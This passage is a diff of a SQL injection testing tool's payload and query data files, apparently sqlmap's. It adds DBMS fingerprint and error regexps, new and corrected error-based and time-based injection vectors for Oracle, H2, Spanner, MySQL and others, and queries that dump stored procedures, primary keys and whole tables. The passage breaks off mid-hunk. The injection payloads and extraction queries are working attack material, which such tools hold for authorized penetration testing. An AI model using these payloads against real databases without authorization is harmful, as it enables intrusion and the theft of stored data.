@@ -76,4 +77,30 @@
         <info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
     </regexp>
 
+    <!-- Ubuntu (release embedded in the package version, e.g. 8.0.36-0ubuntu0.22.04.1) -->
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.14\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="14.04" codename="trusty"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.16\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.18\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.20\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="20.04" codename="focal"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.22\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.24\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="24.04" codename="noble"/>
+    </regexp>
+
 </root>

data/xml/boundaries.xml

@@ -441,14 +441,6 @@ Formats:
         <suffix>)+</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)+'</suffix>
-    </boundary>
     <!-- End of pre-WHERE generic boundaries -->
 
     <!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->

data/xml/errors.xml

@@ -16,6 +16,8 @@
         <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
         <error regexp="Pdo[./_\\]Mysql"/>
         <error regexp="MySqlException"/>
+        <error regexp="pymysql\.err\."/>
+        <error regexp="MySQLdb\.(_exceptions\.|\w+Error)"/>
         <error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
         <error regexp="is not supported by MemSQL" fork="MemSQL"/>
         <error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
@@ -34,6 +36,8 @@
         <error regexp="org\.postgresql\.jdbc"/>
         <error regexp="Pdo[./_\\]Pgsql"/>
         <error regexp="PSQLException"/>
+        <error regexp="psycopg2?\.(errors\.|\w+Error)"/>
+        <error regexp="asyncpg\.(exceptions\.|\w+Error)"/>
     </dbms>
 
     <dbms value="Microsoft SQL Server">
@@ -78,6 +82,8 @@
         <error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
         <error regexp="Pdo[./_\\](Oracle|OCI)"/>
         <error regexp="OracleException"/>
+        <error regexp="cx_Oracle\.\w+Error"/>
+        <error regexp="oracledb\.(exceptions\.|\w+Error)"/>
     </dbms>
 
     <dbms value="IBM DB2">
@@ -173,6 +179,7 @@
         <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
         <error regexp="\[MonetDB\]\[ODBC Driver"/>
         <error regexp="nl\.cwi\.monetdb\.jdbc"/>
+        <error regexp="org\.monetdb\.jdbc"/>
     </dbms>
 
     <dbms value="Apache Derby">
@@ -218,7 +225,7 @@
     </dbms>
 
     <dbms value="CrateDB">
-        <error regexp="io\.crate\.client\.jdbc"/>
+        <error regexp="io\.crate\."/>
     </dbms>
 
     <dbms value="Cache">
@@ -245,4 +252,8 @@
         <error regexp="000904 \(42000\):"/>
         <error regexp="SQL compilation error: (syntax )?error line \d+ at position \d+"/>
     </dbms>
+
+    <dbms value="Spanner">
+        <error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
+    </dbms>
 </root>

data/xml/payloads/boolean_blind.xml

@@ -598,7 +598,7 @@ Tag: <test>
     </test>
 
     <test>
-        <title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
+        <title>SQLite AND boolean-based blind - WHERE or HAVING clause (JSON)</title>
         <stype>1</stype>
         <level>2</level>
         <risk>1</risk>
@@ -617,7 +617,7 @@ Tag: <test>
     </test>
 
     <test>
-        <title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
+        <title>SQLite OR boolean-based blind - WHERE or HAVING clause (JSON)</title>
         <stype>1</stype>
         <level>3</level>
         <risk>3</risk>

data/xml/payloads/error_based.xml

@@ -271,7 +271,7 @@
     </test>
 
     <test>
-        <title>MySQL &gt;= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
+        <title>MySQL &gt;= 5.0 (inline) error-based - Table name clause (FLOOR)</title>
         <stype>2</stype>
         <level>5</level>
         <risk>1</risk>
@@ -593,7 +593,7 @@
         <risk>3</risk>
         <clause>1,9</clause>
         <where>2</where>
-        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>
@@ -880,7 +880,7 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>
@@ -899,7 +899,7 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>
@@ -911,6 +911,81 @@
         </details>
     </test>
 
+    <test>
+        <title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
+        <stype>2</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
+        <request>
+            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>H2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>3</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
+        <request>
+            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>H2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
+        <request>
+            <payload>AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Spanner</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
+        <request>
+            <payload>OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Spanner</dbms>
+        </details>
+    </test>
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access,
          and SAP MaxDB - no known techniques at this time
@@ -1181,7 +1256,7 @@
         <risk>1</risk>
         <clause>1,3</clause>
         <where>3</where>
-        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>
@@ -1458,7 +1533,7 @@
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>

data/xml/payloads/inline_query.xml

@@ -141,7 +141,7 @@
         <risk>1</risk>
         <clause>1,2,3,8</clause>
         <where>3</where>
-        <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>

data/xml/payloads/time_blind.xml

@@ -1626,9 +1626,9 @@
         <risk>2</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
+        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>

data/xml/queries.xml

@@ -47,6 +47,10 @@
             <inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
             <blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
         </statements>
+        <procedures>
+            <inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
+            <blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
             <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
@@ -61,7 +65,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY'" query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY' ORDER BY ORDINAL_POSITION LIMIT %d,1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
@@ -122,6 +127,10 @@
             <inband query="SELECT query FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
             <blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
         </statements>
+        <procedures>
+            <inband query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
+            <blind query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
             <blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
@@ -136,7 +145,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position OFFSET %d LIMIT 1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
@@ -193,6 +203,11 @@
             <inband query="SELECT st.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
             <blind query="SELECT TOP 1 a.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) a WHERE a.text NOT IN (SELECT TOP %d b.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) b ORDER BY b.text) ORDER BY a.text" count="SELECT LTRIM(STR(COUNT(st.text))) FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
         </statements>
+        <!-- NOTE: o.type_desc carries SQL Server's fixed catalog-metadata collation (Latin1_General_CI_AS_KS_WS), which clashes with m.definition's database collation under '+' ("cannot resolve collation conflict"). Coercing the catalog string columns to DATABASE_DEFAULT makes the whole concat single-collation. o.name is usually already the database collation so its COLLATE is a no-op, but it is coerced too defensively, since catalog name-column collation can vary by version/config. -->
+        <procedures>
+            <inband query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
+            <blind query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF') ORDER BY o.name OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT LTRIM(STR(COUNT(*))) FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
             <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
@@ -207,7 +222,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s"/>
-            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
+            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')" query="SELECT name FROM (SELECT c.name AS name, ROW_NUMBER() OVER (ORDER BY ic.key_ordinal) AS rn FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id JOIN sys.columns c ON ic.object_id=c.object_id AND c.column_id=ic.column_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')) x WHERE rn=%d+1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
@@ -287,6 +303,11 @@
             <inband query="SELECT SQL_TEXT FROM V$SQL"/>
             <blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
         </statements>
+        <!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
+        <procedures>
+            <inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
+            <blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
+        </procedures>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <dbs>
             <inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
@@ -302,7 +323,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
-            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT c FROM (SELECT %s AS c FROM %s WHERE %s ORDER BY %s) WHERE ROWNUM=1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')" query="SELECT column_name FROM (SELECT cols.column_name, ROW_NUMBER() OVER (ORDER BY cols.position) AS rn FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')) WHERE rn=%d+1"/>
         </dump_table>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <search_db>
@@ -362,7 +384,7 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
         </dump_table>
         <search_db/>
         <search_table>
@@ -442,16 +464,16 @@
         <column_comment/>
         <is_dba query="CURRENT_USER='SYSDBA'"/>
         <users>
-            <inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES"/>
